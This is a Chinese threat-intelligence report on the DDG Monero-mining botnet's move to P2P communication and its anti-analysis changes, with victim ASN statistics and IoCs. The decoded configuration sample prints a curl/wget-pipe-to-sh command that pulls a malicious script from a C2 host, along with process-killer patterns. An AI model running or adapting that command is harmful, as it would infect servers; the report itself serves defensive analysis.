DDG 升级: P2P机制加持,样本对抗增强

1. 概述

DDG.Mining.Botnet（以下简称DDG）是我们首先感知并披露的挖矿僵尸网络。我们上一篇相关报告发布于 2018.11 月份，针对当时最新的版本 v3014 。最近，DDG 开始了频繁的更新：从 2019.1.3~2019.1.18 的半个月时间内，发布了 v3015~v3019 共 5 个版本，并在 2019.1.27 发布了最新的 v3020 版本。考虑到该 Botnet 的挖矿收益并不很多( Total Paid: 233.9472098595 XMR)，春节前这么短时间如此频繁更新而且没有新增任何漏洞利用，是否有什么大动作，我们拭目以待。

经过我们的梳理分析，这几个版本的更新主要做了以下两件事：

• 僵尸网络内启用了P2P通信机制 ：集成了分布式节点控制框架 Memberlist ，该框架实现了扩展版的 弱一致性分布式控制协议 SWIM (改良版的协议称为 Lifeguard )，并以此实现了 P2P 机制，用来管理自己的 Peers(Bots)；
• 样本实现方面增强了二进制样本层面的对抗 ：使用了加壳在内的多种手段，提升样本分析难度。

针对新的 P2P 通信机制，我们编写了针对 DDG 的跟踪程序，可以模拟 DDG 的 Bot。通过访问它的 P2P 网络，我们可以探测其中的节点信息，获取节点列表、最新的配置数据以及最新启用的 CC IP。过程中，我们参考了 Lifeguard 协议和 Memberlist 框架的特性以及 DDG 样本中 P2P 机制的实现细节。

DDG 最近版本更新一览：

1.1 DDG 僵尸网络背景信息

DDG 是一个专注于扫描控制 SSH 端口、 Redis 数据库 和 OrientDB 数据库服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在 2017 年 10 月 25 日首次感知到 DDG 僵尸网络，并发布技术分析报告。之后 DDG 数次更新版本，我们也跟踪分析并发布数篇分析报告，报告列表如下，全部的报告列表在这里：

• DDG.Mining.Botnet：一个瞄准数据库服务器的挖矿僵尸网络
• DDG.Mining.Botnet 近期活动分析
• 僵尸永远不死，DDG拒绝凋零
• 威胁快讯：DDG 3013 版本
• 威胁快讯：DDG 3014 版本

1.2 DDG 当前的挖矿收益情况：

Wallet: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

Type: XMR

Pool: nanopool Paid : 28.3146026927

Pool: supportxmr Paid : 205.632607167

Total Paid: 233.9472098595 XMR

2. DDG Peers 统计

最初我们感知到 DDG 僵尸网络的时候，曾经对它样本内置的 2 个域名采取了 Sinkhole 措施，以此获取到比较精准的 Bot 分布情况，当时我们共记录了 4,391 个失陷主机 IP 地址（参考 DDG.Mining.Botnet：一个瞄准数据库服务器的挖矿僵尸网络 ）。

这次根据 P2P 机制实现了 Peers(Bots) 探测功能之后，我们也获取了比较准确的失陷主机相关数据，可以用来度量当前 DDG Botnet 的规模（为避免滥用，完整的 IP:Port 列表不会公开）。 汇总最近一段时间的探测数据，我们共记录了 5,695 个失陷主机 IP 地址，最主要的受害者集中在中国大陆地区 ：

从下面 Top20 网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招，完整的ASN列表见文末 IoC 部分。完整的受害者列表我们不会公开，相关的云服务商可以联系我们获取。

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245  
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975  
AS4134|No.31,Jin-rong_Street 640  
AS4808|China_Unicom_Beijing_Province_Network 173  
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144  
AS4837|CHINA_UNICOM_China169_Backbone 129  
AS14061|DigitalOcean,_LLC 70  
AS4812|China_Telecom_(Group) 59  
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59  
AS58461|No.288,Fu-chun_Road 57  
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52  
AS63949|Linode,_LLC 41  
AS23724|IDC,_China_Telecommunications_Corporation 39  
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38  
AS4847|China_Networks_Inter-Exchange 37  
AS4538|China_Education_and_Research_Network_Center 34  
AS17621|China_Unicom_Shanghai_network 32  
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31  
AS55933|Cloudie_Limited 27  
AS4766|Korea_Telecom 27  
OTHER    OTHER   785

3. 样本执行流程，以及其中HUB IP LIST的结构变化

DDG 的主样本(ddgs.i686 / ddgs.x86_64)的主要执行流程跟以前的版本没有太大区别（详情参考 DDG.Mining.Botnet 近期活动分析 ），主要步骤如下：

1. 依次与 HUB IP List 中的 IP 通信，与一个 HUB IP 连接成功之后，向 http://<hub_ip>:8000/slave 发送 HTTP POST 请求，以获取经过 msgpack 序列化编码过的配置数据；
2. 解析配置数据，根据指定的 Miner 下载链接，下载矿机程序来挖矿；
3. 解析配置数据，根据指定的针对 SSH/Redis 扫描端口、DstIP 生成策略来生成目的 IP 地址列表，发起针对 SSH / Redis 服务的扫描；
4. 利用弱口令暴破或服务配置缺陷入侵扫描到的主机，入侵成功之后，植入 SSH 公钥来做后门；修改失陷主机的计划任务配置，加入恶意脚本 i.sh 的下载链接， i.sh 脚本中指定了最新的 DDG 主样本下载链接，会定期启动下载最新的 DDG 样本并执行；
5. 解析配置数据，执行配置项中指定的其他命令。

在 DDG v3014 及更早期版本中，第 1 步用到的 HUB IP List 都是内置在样本中。只是有以下小区别：

• 大部分版本的样本中， HUB IP List 是直接硬编码在样本中，可能是一个 Go 语言中 var hub_iplist []string 形式的变量。但更早版本是把这一份 IP 列表保存到了一个 hub_iplist.txt 文件中(如 v2011)，这个 txt 文件被样本编译打包进二进制文件，样本执行过程中会从内存里提取这个文件并读取整个 HUB IP List 。我们把这一份 IP List 配置数据称为 HUB IP List ，原因就是早期版本中出现了这个 hub_iplist.txt 文件，以及样本内部把这些 List 中的 IP 称为 HUB ；
• 大部分版本中，样本与 HUB IP 连接过程，都是自己用 Go 语言实现的网络沟通信。极个别用到了辅助的第三方网络库来实现这个过程，并持续维护当前样本与 HUB IP 的心跳通信。比如最早我们发现 DDG 中这个过程由第三方 Stream Multiplexing 库 Smux 来实现。

据我们观察， HUB IP List 中的 IP，绝大部分是连接不成功的，只有少数几个(1-3 个)可以成功连接并通过 HTTP POST 请求来获取配置文件。并且，承载配置文件下载服务的 IP，通常也承载了恶意样本的下载服务。也就是说，木马作者把极少数真正的 CC 服务器隐藏在上百个 IP 的列表之中，只有依次连接才能确定哪个是真正的 CC 服务器，可谓 狡兔百窟 。最新版本的 2 个 CC 服务器如下：

4. P2P 机制

DDG 实现 P2P 机制所用的协议细节可以参考相关 Paper，所用实现该协议的框架 Memberlist 介绍可以参考 Hashicorp Memberlist 分析 。据我们分析，DDG 实现的 P2P 机制，其实是对以前硬编码 HUB IP List 的升级，同时整个僵尸网络的稳定性也得以提升；另外，僵尸网络背后的运营者维护起来更加灵活，隐蔽性也更好；最后，由于木马作者对配置数据用 RSA 算法做了签名，DDG 主样本获取到配置数据后会首先校验配置数据的签名，所以配置数据无法伪造，也就不能向整个 P2P 僵尸网络投毒。相应地，清除僵尸网络的难度也陡然增加。

DDG v3015~v3020 加入了 P2P 机制以后，所谓的 HUB IP List 就有了新变化：

• 木马作者开始尝试只在样本中内置硬编码 1 个IP(v3015 版内置了一个 61.91.81.253:7946 )，根据所用分布式协议以及 Memberlist 框架特性，样本可以通过这个 IP 加入 P2P 网络；
• 显然 v3015 这个C2布局是脆弱的，任何单一IP都随时可能脱离 DDG 所有者的控制，如果上述关键IP 61.91.81.253:7946 脱离了 DDG 的控制，后续其它新感染IP都无法加入 DDG 的 P2P网络。这就注定了 v3015 是个临时版本；
• 作为改进，从 v3016 版本开始，每个样本中又内置 200 条 IP:Port 的列表。这些 IP:Port 绝大多数是木马作者整理出来的 P2P 网络中的其他失陷主机(极个别是真正的 CC 服务器，提供配置数据和样本的下载服务)，这样就大大增加了当前样本加入 P2P 网络的成功率。

木马成功加入了 P2P 网络之后，就会调用 memberlist.Members() 函数来获取当前 P2P 网络中的 Peers 列表。由于 Memberlist 实现的是 弱一致性 分布式控制协议，所以每个 Peers 保存的节点列表都不是 P2P 网络中的完整列表，这个函数只能获取部分 Peers 列表。据我们观察，每次函数调用能获取大约 1,900 个 Peers 信息。

在 v3015~v3019 这 5 个版本的主样本中，获取到了 Peers 信息之后，样本会提取每个 Peer 的 IP:Port ，汇总成一份列表，并把这个列表以明文形式保存到 ~/.ddg/<VERSION_NUMBER>.bs 文件中。值得注意的是， 木马在运行过程中，会持续与其他 Peers 通信，通信方式遵循所用协议和 Memberlist 框架实现。并且木马会多次获取节点列表，根据获取到的 Peers 列表动态更新 ~/.ddg/<VERSION_NUMBER>.bs 文件的内容 ，所以在不同的时间点查看 .bs 文件，里面的 IP:Port 列表信息会有所不同。样本中操作 .bs 文件的代码如下：

到了最新的 v3020 版本，木马作者用开源的内嵌 KV 存储引擎 Bolt 取代了之前的 ~/.ddg/<VERSION_NUMBER>.bs 文件。即，样本获取到的 Peers 列表不再明文存储到本地文件中，而是存放到了内嵌的一个小型数据库中。对这份 Peers 信息列表的更新、读取调用，则跟旧版本无本质区别。样本中调用 Bolt 的关键代码如下：

然后木马会尝试跟获取到的节点 IP 通信，连接成功以后，通过向 http://<ip>:8000/slave 发送 HTTP POST 请求来获取配置数据。配置数据是经过 msgpack 序列化编码的，解码后内容示例如下：

{
    'Data':{
        'CfgVer': 6,
        'Cmd': {
            'AAredis': {
                'Duration': '240h',
                'GenAAA': False,
                'GenLan': True,
                'IPDuration': '6h',
                'Id': 6062,
                'Ports': [6379, 6389, 7379],
                'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
                'Timeout': '1m',
                'Version': 3017
            },
            'AAssh': {
                'Duration': '240h',
                'GenAAA': False,
                'GenLan': True,
                'IPDuration': '12h',
                'Id': 2057,
                'NThreads': 100,
                'Ports': [22, 2222, 12222, 52222, 1987],
                'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
                'Timeout': '1m',
                'Version': 3017
            },
            'Killer': [{
                    'Expr': '(/tmp/ddgs.3011|/tmp/ddgs.3012|/tmp/ddgs.3013|/tmp/ddgs.3014|/tmp/ddgs.3015|   /tmp/ddgs.3016)',
                    'Id': 475,
                    'Timeout': '60s',
                    'Version': 3017
                },
                {
                    'Expr': '.+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+',
                    'Id': 483,
                    'Timeout': '60s',
                    'Version': -1
                },
                {
                    'Expr': './xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg|/tmp/2t3ik',
                    'Id': 484,
                    'Timeout': '60s',
                    'Version': -1
                },
                {
                    'Expr': '/tmp/qW3xT.+',
                    'Id': 481,
                    'Timeout': '60s',
                    'Version': 3017
                }
            ],
            'LKProc': [{
                'Expr': '/tmp/qW3xT.4',
                'Id': 488,
                'Timeout': '60s',
                'Version': 3017
            }],
            'Sh': [{
                    'Id': 479,
                    'Line': '(curl -fsSL hxxp://132.148.241.138:8000/i.sh||wget -q -O-  hxxp://132.148.241.138:8000/i.sh) | sh',
                    'Timeout': '120s',
                    'Version': -1
                },
                {
                    'Id': 486,
                    'Line': 'chattr -i /tmp/qW3xT.4; chmod +x /tmp/qW3xT.4',
                    'Timeout': '20s',
                    'Version': 3017
                }
            ]
        },
        'Config': {
            'Interval': '60s'
        },
        'Miner': [{
            'Exe': '/tmp/qW3xT.4',
            'Md5': '9dd8c5b1dc74286d81bc78372d9b7f27',
            'Url': '/static/qW3xT.4'
        }]
    },
    'Signature': [0x3b,0xd9,0x73,0x04,0x6d,0x75,0x68,0xe8,0xdd,0xd6,0x0c,0x5e,0xac,0xd1,0x29,0x2d,0x16,0x31,0x03,0xf4,0xfb,0xbb,0xa8,0x7d,0xba,0x6a,0xc8,0xda,0x6f,0xec,0x42,0x16,0x6a,0x00,0x8b,0x62,0x3f,0xa1,0x11,0x9b,0x16,0xe8,0xf2,0x13,0xb1,0x45,0x40,0xc5,0xd4,0xc6,0xaa,0x90,0x99,0x98,0x4b,0xc9,0x70,0x66,0x77,0x18,0xa9,0x82,0x53,0xb9,0x4f,0x10,0x05,0xdf,0x8d,0x6c,0x3a,0x31,0x2b,0x45,0x6f,0x9d,0xcb,0xd2,0x7d,0x5e,0x90,0x5f,0xb9,0x59,0x9e,0xa2,0x40,0x02,0x1b,0xe9,0xed,0xd5,0x57,0xb5,0x09,0x41,0x1e,0xd8,0x41,0xd8,0x0b,0xa8,0xd1,0x54,0x00,0xab,0x43,0xdc,0x70,0xce,0xca,0x14,0xc5,0x19,0xc9,0x37,0x0f,0x19,0xe0,0x02,0x95,0x30,0x57,0xa6,0xbb,0xc4,0xa6,0x85,0x51,0xcc,0x9b,0x0d,0xc4,0xc5,0x7d,0xb9,0xc4,0xa0,0x93,0x00,0xec,0x52,0x06,0x77,0xfe,0x82,0x52,0x1e,0x88,0xf2,0xe2,0xc6,0x21,0x3e,0x81,0x7e,0x1e,0x53,0x9d,0xb0,0xab,0xd4,0xc2,0xa3,0x85,0x8b,0xef,0xac,0xdd,0x9d,0x4b,0x5a,0x13,0x8e,0xa1,0x31,0x6d,0xc5,0xb2,0xf4,0xca,0x54,0x85,0x29,0xa0,0x62,0x0d,0xac,0xde,0xfa,0x86,0x09,0x2b,0x1c,0x05,0x5f,0xa0,0xa4,0x91,0x11,0xb0,0x6d,0x7e,0x1c,0xab,0x31,0x6f,0xca,0x64,0x15,0x44,0xe5,0xaf,0x24,0x12,0xb6,0x74,0xde,0x9c,0xc1,0xf7,0x0c,0x22,0x80,0x1f,0x07,0x2b,0x57,0xe2,0xfb,0xf9,0x39,0x0b,0x1b,0x4f,0xa3,0x82,0x07,0xce,0x35,0x41,0x23,0x73,0x94,0x8c,0x27,0x1b,0x77,0x1f,0x5e,0xdd,0xb5,0xb1,0xa6,0xa1,0x6c]
}

注意配置数据最后一项： Signature ，这其实是木马作者拿自己的 RSA 私钥对配置数据中的 Data 部分（真正用到的配置）生成的一个 RSA 签名字段。样本在解码配置数据之后，会用样本中内置的 RSA 公钥对 Data 部分配置数据进行校验，校验通过之后才会采用这些配置。样本中内置的 RSA 公钥如下：

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2  
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g  
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY  
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm  
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd  
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2  
xQIDAQAB  
-----END PUBLIC KEY-----

由此可见，这份配置数据无法伪造。这样一来，我们就只能加入 DDG 的 P2P 进行节点探测，而无法对整个 P2P 网络进行投毒。

对配置数据的解析与使用，就与 DDG 之前的版本没有本质区别了，此文不详述。

5. 对抗分析的措施

5.1 样本内置节点 IP 列表从明文到编码

前文说过，DDG v3015 版本的核心样本中，内置的节点 IP:Port 只有一个明文的 61.91.81.253:7946 ，如下：

而到了 v3016 版本，样本内置的节点则有一个上百条 IP:Port 列表：

再到了 v3017~v3020 这 4 个大版本，内置的节点列表有了更大改动：每个样本内置 200 个左右的 IP(不同版本的样本中内置的节点不同)，IP 以 Hex 形式存放在样本，这样会稍微增大样本分析的难度。样本调用这些 IP 的时候会动态加上 :7946 或 :7947 端口然后再与之通信。比如 v3017 中 Hex 形式的 IP 部分截图如下:

5.2 二进制样本加壳

DDG v3017 和 v3018 版本的样本，用 UPX v3.9.5 加了壳，使样本文件体积相应缩小，利于样本传输，也会使原有的二进制层面样本检测规则失效。在 v3019 版本中，样本取消了加壳，到了 v3020 版本，又加上了 UPX 壳。我们推测是之前几个版本的加壳只是用来测试效果，到了 v3020 版本，木马作者才放心加壳：

5.3 修改文件名

DDG 主样本的名字，最早是 ddg ，在样本中可以看到整个项目的名字也是 ddg ，这也是其名字的由来。但后来，它的文件名改成了 ddgs ，从 v3018 版本开始，木马文件在服务器端的文件名改成了 fmt ( Go 语言标准库之一)，并且 v3019 下载到受害主机本地之后文件名改为 ljfhbcb 。这样的改动，可能会干扰以往对旧版本样本的检测规则：

然后，到了 v3020 版本，木马作者又把主样本名字改回了 ddgs ，把样本下载到受害主机本地的文件名改为 betsbcc 或 brhjbcc ：

6. 联系我们

感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们，或者向我们发送电子邮件 netlab[at]360.cn。

为避免滥用，我们不会公布受害者 IP 列表。相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。

7. IoC

CC IP:

104.236.156.211        14061|DigitalOcean, LLC      United States|California|San Francisco  
61.91.81.253           9287|TRUEINTERNET Co.,Ltd.   Thailand  
132.148.241.138        26496|GoDaddy.com, LLC       United States|Arizona|Phoenix  
45.77.166.74           20473|Choopa, LLC        United States|Florida|Miami  
117.141.5.87           9808|Guangdong Mobile Communication Co.Ltd.  China|Guangxi|Nanning  
104.248.181.42         14061|DigitalOcean, LLC      United States|California|San Francisco

MD5:

61379bc98e062b01ee43ce6e831ebcce  
aa54c23cb4cb7729e5506db788b2c95c  
ed80b35ee59084f96aa10674fc0cce27  
ee677c1847a10f98ea40d9e7cadc371e  
61379bc98e062b01ee43ce6e831ebcce  
39a2303ffff0c1ccb123a7963f0a815a  
3feaa446f0121b73723dde142fe23deb  
7cf1a0a6b189b8778d3952f7f38b37a1  
aa1eaf02b03f26ecfb9f09e7930fdfe0  
7cf1a0a6b189b8778d3952f7f38b37a1  
aa1eaf02b03f26ecfb9f09e7930fdfe0  
8c2e1719192caa4025ed978b132988d6  
d6187a44abacfb8f167584668e02c918  
9dd8c5b1dc74286d81bc78372d9b7f27  
3ebe43220041fe7da8be63d7c758e1a8  
d894bb2504943399f57657472e46c07d  
fb6bf5af8771b0dc446861484335fc5e

Mining Pool Proxy:

104.130.210.206:8000    19994|Rackspace_Hosting    United States|Illinois|Chicago  
59.2.77.151:8000        4766|Korea_Telecom         Republic of Korea|Jeonbuk  
104.130.210.206:8443    19994|Rackspace_Hosting    United States|Illinois|Chicago

ASN and Compromised Host Numbers

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245  
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975  
AS4134|No.31,Jin-rong_Street 640  
AS4808|China_Unicom_Beijing_Province_Network 173  
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144  
AS4837|CHINA_UNICOM_China169_Backbone 129  
AS14061|DigitalOcean,_LLC 70  
AS4812|China_Telecom_(Group) 59  
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59  
AS58461|No.288,Fu-chun_Road 57  
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52  
AS63949|Linode,_LLC 41  
AS23724|IDC,_China_Telecommunications_Corporation 39  
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38  
AS4847|China_Networks_Inter-Exchange 37  
AS4538|China_Education_and_Research_Network_Center 34  
AS17621|China_Unicom_Shanghai_network 32  
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31  
AS55933|Cloudie_Limited 27  
AS4766|Korea_Telecom 27  
AS25820|IT7_Networks_Inc 27  
AS9318|SK_Broadband_Co_Ltd 17  
AS16509|Amazon.com,_Inc. 16  
AS58466|CHINANET_Guangdong_province_network 15  
AS15169|Google_LLC 15  
AS63835|No.293,Wanbao_Avenue 14  
AS58879|Shanghai_Anchang_Network_Security_Technology_Co.,Ltd. 14  
AS38283|CHINANET_SiChuan_Telecom_Internet_Data_Center 14  
AS59019|Beijing_Kingsoft_Cloud_Internet_Technology_Co.,_Ltd 13  
AS58593|Shanghai_Blue_Cloud_Technology_Co.,Ltd 13  
AS45187|Rackspace_IT_Hosting_AS_IT_Hosting_Provider_Hong_Kong 13  
AS20473|Choopa,_LLC 13  
AS56046|China_Mobile_communications_corporation 12  
AS135453|DISKOMINFO_TANGERANG_SELATAN 12  
AS7506|GMO_Internet,Inc 10  
AS24138|China_Tietong_Telecommunication_Corporation 10  
AS45899|VNPT_Corp 9  
AS45753|NETSEC 9  
AS133115|hongkong_kwaifong_information_service_limited 9  
AS131486|Beijing_Jingdong_360_Degree_E-commerce_Co.,_Ltd. 9  
AS9498|BHARTI_Airtel_Ltd. 8  
AS4816|China_Telecom_(Group) 8  
AS3786|LG_DACOM_Corporation 8  
AS26496|GoDaddy.com,_LLC 8  
AS45353|NITC:_IT_Agency_of_Government_of_Nepal 7  
AS24444|Shandong_Mobile_Communication_Company_Limited 7  
AS135026|ThinkDream_Technology_Limited 7  
AS9381|WTT_HK_Limited 6  
AS56067|453_Ladplacout_Jorakhaebua 6  
AS45058|Golden-Bridge_Netcom_communication_Co.,LTD. 6  
AS3462|Data_Communication_Business_Group 6  
AS24547|Hebei_Mobile_Communication_Company_Limited 6  
AS17638|ASN_for_TIANJIN_Provincial_Net_of_CT 6  
AS16276|OVH_SAS 6  
AS133380|Layerstack_Limited 6  
AS8100|QuadraNet_Enterprises_LLC 5  
AS8075|Microsoft_Corporation 5  
AS59078|Yunify_Technologies_Inc. 5  
AS56048|China_Mobile_Communicaitons_Corporation 5  
AS56041|China_Mobile_communications_corporation 5  
AS4835|China_Telecom_(Group) 5  
AS4621|Chulalongkorn_University 5  
AS17974|PT_Telekomunikasi_Indonesia 5  
AS137314|Politeknik_Negeri_Jember 5  
AS131392|GMO-Z.com_Runsystem_Joint_Stock_Company 5  
AS9802|Abitcool(China)_Inc. 4  
AS63612|Shenzhen_Qianhai_bird_cloud_computing_Co._Ltd. 4  
AS58543|Guangdong 4  
AS56040|China_Mobile_communications_corporation 4  
AS50673|Serverius_Holding_B.V. 4  
AS45093|Cnean_Internet_Exchange 4  
AS40676|Psychz_Networks 4  
AS36352|ColoCrossing 4  
AS22923|Yesup_Ecommerce_Solutions_Inc. 4  
AS18403|The_Corporation_for_Financing_&_Promoting_Technology 4  
AS135377|UCloud_(HK)_Holdings_Group_Limited 4  
AS134771|CHINANET_Sichuan_province_Chengdu_MAN_network 4  
AS134764|CHINANET_Guangdong_province_network 4  
AS134705|Itace_International_Limited 4  
AS9829|National_Internet_Backbone 3  
AS9341|PT_Indonesia_Comnets_Plus 3  
AS7489|HostUS 3  
AS62468|VpsQuan_L.L.C. 3  
AS58542|Yueyang 3  
AS58477|Argon_Data_Communication 3  
AS55990|Huawei_Cloud_Service_data_center 3  
AS55688|PT._Beon_Intermedia 3  
AS38682|National_Institute_of_Environmental_Research 3  
AS38197|Sun_Network_(Hong_Kong)_Limited_-_HongKong_Backbone 3  
AS24400|Shanghai_Mobile_Communications_Co.,Ltd. 3  
AS23969|TOT_Public_Company_Limited 3  
AS23844|Beijing_Guanghuan_Xinwang_Digital 3  
AS17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd. 3  
AS17816|China_Unicom_IP_network_China169_Guangdong_province 3  
AS17451|BIZNET_NETWORKS 3  
AS1659|Taiwan_Academic_Network_(TANet)_Information_Center 3  
AS135386|LinkChina_Telecom_Global_Limited. 3  
AS134763|CHINANET_Guangdong_province_network 3  
AS133774|Fuzhou 3  
AS133405|AS_Data(Hong_Kong)Limited 3  
ASReserved; 2  
AS9929|CHINA_UNICOM_Industrial_Internet_Backbone 2  
AS9416|Hoshin_Multimedia_Center_Inc. 2  
AS9312|xTom 2  
AS7545|TPG_Telecom_Limited 2  
AS7470|TRUE_INTERNET_Co.,Ltd. 2  
AS59134|PT._Datacomm_Diangraha 2  
AS58519|Cloud_Computing_Corporation 2  
AS58487|Rumahweb_Indonesia_CV. 2  
AS55967|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 2  
AS55720|Gigabit_Hosting_Sdn_Bhd 2  
AS4809|China_Telecom_Next_Generation_Carrier_Network 2  
AS4800|Network_Access_Provider_and_Internet_Service_Provider 2  
AS45996|DAOU_TECHNOLOGY 2  
AS43554|Cifrovye_Dispetcherskie_Sistemy 2  
AS38731|CHT_Compamy_Ltd 2  
AS3842|RamNode_LLC 2  
AS3269|Telecom_Italia 2  
AS24309|Atria_Convergence_Technologies_Pvt._Ltd._Broadband_Internet_Service_Provider_INDIA 2  
AS24085|Quang_Trung_Software_City_Development_Company 2  
AS23947|PT.Mora_Telematika_Indonesia 2  
AS23695|ELGANET-ASN_PT._Elga_Yasa_Media_Internet_Service 2  
AS18245|CNNIC 2  
AS17753|INTERNET_SERVICE_PROVIDER 2  
AS17444|AS_number_for_New_World_Telephone_Ltd. 2  
AS138115|PT_Deneva 2  
AS137260|Bit_Exchange_Systems_Limited 2  
AS136959|China_Unicom_Guangdong_IP_network 2  
AS136950|Hong_Kong_FireLine_Network_LTD 2  
AS136190|DaLi 2  
AS135915|8_Floor,_96-98_Dao_Duy_Anh,_Phu_Nhuan,_HCMC 2  
AS135173|INDIA_METEOROLOGICAL_DEPARTMENT 2  
AS134768|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134765|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134762|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134548|DXTL_Tseung_Kwan_O_Service 2  
AS134366|Yunify_Technologies_(HK)_Limited 2  
AS133775|Xiamen 2  
AS133201|ABCDE_GROUP_COMPANY_LIMITED 2  
AS133199|SonderCloud_Limited 2  
AS131921|GMO_CLOUD_K.K. 2  
AS10029|SHYAM_SPECTRA_PVT_LTD 2  
ASNone; 1  
AS9931|The_Communication_Authoity_of_Thailand,_CAT 1  
AS9821|Department_of_Science_and_Technology 1  
AS9812|Oriental_Cable_Network_Co.,_Ltd. 1  
AS9708|Pukyong_National_University 1  
AS9430|Software_Technology_Parks_of_India,Block-IV 1  
AS9394|China_TieTong_Telecommunications_Corporation 1  
AS9370|SAKURA_Internet_Inc. 1  
AS9306|China_International_Electronic_Commerce_Center 1  
AS9287|TRUEINTERNET_Co.,Ltd. 1  
AS8517|National_Academic_Network_and_Information_Center 1  
AS7922|Comcast_Cable_Communications,_LLC 1  
AS7629|5F_L.V._Locsin_Bldg 1  
AS7552|Viettel_Group 1  
AS7162|Universo_Online_S.A. 1  
AS701|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1  
AS7018|AT&T_Services,_Inc. 1  
AS6640|CenturyLink_Communications,_LLC 1  
AS63959|Hong_Kong_Syscloud_Technology_Limited 1  
AS63888|TISP_LIMITED 1  
AS63838|Hengyang 1  
AS63741|DCNET_Telecommunication_joint_stock_company 1  
AS63646|Beijing_Xiaoju_Science_and_Technology_Co.,_Ltd. 1  
AS63473|HostHatch,_Inc 1  
AS62217|VooServers_Ltd 1  
AS59164|Apollo_Online_Services_Pvt_ltd 1  
AS59089|NO.18_Building_University_of_Technology 1  
AS59077|Shanghai_UCloud_Information_Technology_Company_Limited 1  
AS58854|Xiamen_Aiya_network_Technology_Co._Ltd. 1  
AS58768|Daffodil_Online_Ltd. 1  
AS58717|Summit_Communications_Ltd 1  
AS58641|Trunkoz_Technologies_Pvt_Ltd 1  
AS58563|CHINANET_Hubei_province_network 1  
AS58541|Xiangtan 1  
AS58397|PT_Infinys_System_Indonesia 1  
AS58097|OOO_Taxcom 1  
AS577|Bell_Canada 1  
AS56209|R._K._INFRATEL_LIMITED 1  
AS56202|Suite_no_10,_Level_5_C_Wing 1  
AS56140|ModernOne_Data_Solutions_Sdn._Bhd. 1  
AS56047|China_Mobile_communications_corporation 1  
AS56044|China_Mobile_communications_corporation 1  
AS55824|NKN_Core_Network 1  
AS55803|Digital_Pacific_Pty_Ltd_Australia 1  
AS55769|SOUTH_EAST_ASIA_TELECOM_(Cambodia)_Co.,_LTD 1  
AS55701|PT._Usaha_Adisanggoro 1  
AS55410|C48_Okhla_Industrial_Estate,_New_Delhi-110020 1  
AS54600|PEG_TECH_INC 1  
AS54290|Hostwinds_LLC. 1  
AS53667|FranTech_Solutions 1  
AS53587|AZURE_TECHNOLOGY_CO.,_LIMITED 1  
AS52286|Columbus_Networks_Guatemala 1  
AS4788|TM_Net,_Internet_Service_Provider 1  
AS4787|PT_Cyberindo_Aditama 1  
AS4775|Globe_Telecoms 1  
AS4765|Pacific_Internet_Pte_Ltd 1  
AS47452|Super_iMAX 1  
AS4658|2012_Limited_/_Netfront 1  
AS46015|Exa_Bytes_Network_Sdn.Bhd. 1  
AS45910|i-System_Technology_Limited 1  
AS45766|Triangle_Services_Limited. 1  
AS45758|Triple_T_Internet/Triple_T_Broadband 1  
AS45754|Clear_Path_Networks_Inc 1  
AS45629|JasTel_Network_International_Gateway 1  
AS45587|China_Broadband_Communications_(CBCnet) 1  
AS45429|CAMBODIAN_SINGMENG_TELEMEDIA_CO.,_LTD 1  
AS45062|Guangzhou_NetEase_Computer_System_Co.,_Ltd. 1  
AS42331|PE_Freehost 1  
AS40065|CNSERVERS_LLC 1  
AS38802|Azurance_Limited 1  
AS38661|purplestones 1  
AS38532|USONYX_PTE_LTD 1  
AS38277|CommuniLink_Internet_Limited. 1  
AS38186|Forewin_Telecom_Group_Limited,_ISP_at 1  
AS38001|NewMedia_Express_Pte_Ltd 1  
AS37943|ZhengZhou_GIANT_Computer_Network_Technology_Co.,_Ltd 1  
AS3257|GTT_Communications_Inc. 1  
AS31898|Oracle_Corporation 1  
AS31034|Aruba_S.p.A. 1  
AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1  
AS27979|Stel_Chile_S.A. 1  
AS278|Universidad_Nacional_Autonoma_de_Mexico 1  
AS26832|Rica_Web_Services 1  
